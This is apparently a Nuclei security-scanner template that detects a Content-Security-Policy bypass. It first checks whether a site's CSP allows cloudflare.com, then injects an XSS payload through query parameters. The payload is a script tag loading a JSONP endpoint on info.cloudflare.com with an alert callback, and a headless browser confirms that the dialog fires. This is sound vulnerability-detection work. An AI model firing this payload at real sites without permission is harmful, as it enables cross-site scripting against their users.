id: cloudflare-info-csp-bypass

info:
  name: Content-Security-Policy Bypass - Cloudflare Info
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,cloudflare-info

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cloudflare.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cloudflare_info_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://info.cloudflare.com//index.php/form/getForm?munchkinId=194-VVC-221&form=1077&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cloudflare_info_csp_xss == true"
# digest: 4a0a0047304502205a5a7ad31eaaf7bae80ca264838bc96e260ff2752fbef9b15537c17499fc4dc7022100fa8d98ab76bedc48e5aa0327a2f13a0f1dd1d26ef5739973d58bde2bd9a5a7d8:922c64590222798bb761d5b6d8e72950